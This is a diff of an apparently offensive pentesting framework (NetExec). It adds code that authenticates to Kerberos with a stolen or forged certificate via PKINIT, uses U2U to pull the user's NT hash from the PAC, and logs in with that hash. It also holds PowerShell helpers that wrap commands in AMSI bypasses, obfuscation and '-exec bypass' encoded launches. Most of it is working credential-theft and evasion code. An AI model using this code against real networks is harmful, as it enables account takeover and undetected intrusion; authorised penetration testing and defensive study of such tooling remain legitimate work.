days = int(strftime("%j", gmtime(tmp))) - 1
|
||||
except ValueError:
|
||||
return "[-] Invalid TIME"
|
||||
|
||||
if days > 1:
|
||||
time += f"{days} days "
|
||||
elif days == 1:
|
||||
time += f"{days} day "
|
||||
if hours > 1:
|
||||
time += f"{hours} hours "
|
||||
elif hours == 1:
|
||||
time += f"{hours} hour "
|
||||
if minutes > 1:
|
||||
time += f"{minutes} minutes "
|
||||
elif minutes == 1:
|
||||
time += f"{minutes} minute "
|
||||
return time
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
if args.list_modules and args.list_modules.lower() != category.name.lower():
|
||||
continue
|
||||
if len([module for module in modules.values() if module["category"] == category]) > 0:
|
||||
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
|
||||
for name, props in sorted(modules.items()):
|
||||
if props["category"] == category:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
|
||||
|
||||
class CATEGORY(Enum):
|
||||
ENUMERATION = "Enumeration"
|
||||
CREDENTIAL_DUMPING = "Credential Dumping"
|
||||
PRIVILEGE_ESCALATION = "Privilege Escalation"
|
||||
@@ -31,4 +31,4 @@ def parse_challenge(challange):
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
return target_info
|
||||
@@ -0,0 +1,524 @@
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
ec["content"] = data
|
||||
|
||||
sd = {}
|
||||
sd["version"] = "v3"
|
||||
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
|
||||
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
|
||||
sd["certificates"] = [self.certificate]
|
||||
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
|
||||
|
||||
if wrap_signed is True:
|
||||
ci = {}
|
||||
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
|
||||
ci["content"] = cms.SignedData(sd)
|
||||
return cms.ContentInfo(ci).dump()
|
||||
|
||||
return cms.SignedData(sd).dump()
|
||||
|
||||
def decrypt_asrep(self, as_rep):
|
||||
def truncate_key(value, keysize):
|
||||
output = b""
|
||||
currentNum = 0
|
||||
while len(output) < keysize:
|
||||
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
|
||||
if len(output) + len(currentDigest) > keysize:
|
||||
output += currentDigest[:keysize - len(output)]
|
||||
break
|
||||
output += currentDigest
|
||||
currentNum += 1
|
||||
|
||||
return output
|
||||
|
||||
for pa in as_rep["padata"]:
|
||||
if pa["padata-type"] == 17:
|
||||
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
|
||||
break
|
||||
else:
|
||||
raise Exception("PA_PK_AS_REP not found!")
|
||||
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
|
||||
sd = ci["content"]
|
||||
keyinfo = sd["encap_content_info"]
|
||||
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
|
||||
raise Exception("Keyinfo content type unexpected value")
|
||||
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
|
||||
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
|
||||
|
||||
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
|
||||
shared_key = self.diffie.exchange(pubkey)
|
||||
|
||||
server_nonce = pkasrep["serverDHNonce"]
|
||||
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
|
||||
|
||||
etype = as_rep["enc-part"]["etype"]
|
||||
cipher = _enctype_table[etype]
|
||||
if etype == Enctype.AES256:
|
||||
t_key = truncate_key(fullKey, 32)
|
||||
elif etype == Enctype.AES128:
|
||||
t_key = truncate_key(fullKey, 16)
|
||||
elif etype == Enctype.RC4:
|
||||
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
|
||||
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
|
||||
|
||||
|
||||
class GETPAC:
|
||||
|
||||
def printPac(self, data, key=None):
|
||||
nthash = None
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
|
||||
buff = pacType["Buffers"]
|
||||
found = False
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
self.__username = username
|
||||
self.__domain = domain.upper()
|
||||
self.__kdcHost = kdcHost
|
||||
self.__asrep_key = key
|
||||
self.__tgt = tgt["KDC_REP"]
|
||||
self.__cipher = tgt["cipher"]
|
||||
self.__sessionKey = tgt["sessionKey"]
|
||||
|
||||
def dump(self):
|
||||
# Try all requested protocols until one works.
|
||||
tgt = self.__tgt
|
||||
cipher = self.__cipher
|
||||
sessionKey = self.__sessionKey
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT["ticket"])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq["pvno"] = 5
|
||||
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
apReq["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decodedTGT["crealm"])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq["authenticator"] = noValue
|
||||
apReq["authenticator"]["etype"] = cipher.enctype
|
||||
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq["pvno"] = 5
|
||||
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq["padata"] = noValue
|
||||
tgsReq["padata"][0] = noValue
|
||||
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq["padata"][0]["padata-value"] = encodedApReq
|
||||
|
||||
reqBody = seq_set(tgsReq, "req-body")
|
||||
|
||||
opts = []
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
reqBody["realm"] = str(decodedTGT["crealm"])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, "etype",
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, cipherText)
|
||||
specialkey = Key(18, unhexlify(self.__asrep_key))
|
||||
return self.printPac(plainText, specialkey)
|
||||
|
||||
|
||||
def pfx_auth(self):
|
||||
"""Handles the authentication using a PFX or PEM file"""
|
||||
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
|
||||
dhparams = {
|
||||
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
|
||||
"g": 2
|
||||
}
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return False
|
||||
|
||||
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
|
||||
ccache_minikerberos = CCACHE()
|
||||
ccache_minikerberos.add_tgt(res.native, encasrep)
|
||||
ccache_minikerberos.to_file(log_ccache)
|
||||
self.logger.info(f"Saved TGT to file {log_ccache}")
|
||||
self.logger.info(f"Using Kerberos Cache {log_ccache}")
|
||||
ccache = impacket_CCache.loadFile(log_ccache)
|
||||
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
tgt = creds.toTGT()
|
||||
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
|
||||
nthash = dumper.dump()
|
||||
if not self.kerberos:
|
||||
self.hash_login(self.domain, username, nthash)
|
||||
else:
|
||||
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
|
||||
|
||||
self.logger.info("Successfully authenticated using Certificate")
|
||||
return True
|
||||
@@ -12,6 +12,7 @@ import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
@@ -27,6 +28,7 @@ def replace_singles(s):
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
|
||||
@@ -56,19 +58,6 @@ def encode_ps_command(command):
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
"""
|
||||
Check if PowerShell is installed.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if PowerShell is installed, False otherwise.
|
||||
"""
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
"""
|
||||
Obfuscates a PowerShell script.
|
||||
@@ -90,7 +79,7 @@ def obfs_ps_script(path_to_script):
|
||||
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
if bool(which("powershell")) and obfuscate_ps_scripts:
|
||||
if os.path.exists(obfs_ps_script):
|
||||
nxc_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script) as script:
|
||||
@@ -116,12 +105,11 @@ def obfs_ps_script(path_to_script):
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
@@ -139,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
@@ -154,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
if obfs:
|
||||
@@ -163,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
while True:
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
@@ -176,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
@@ -429,4 +417,3 @@ def invoke_obfuscation(script_string):
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
@@ -8,6 +8,7 @@ from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
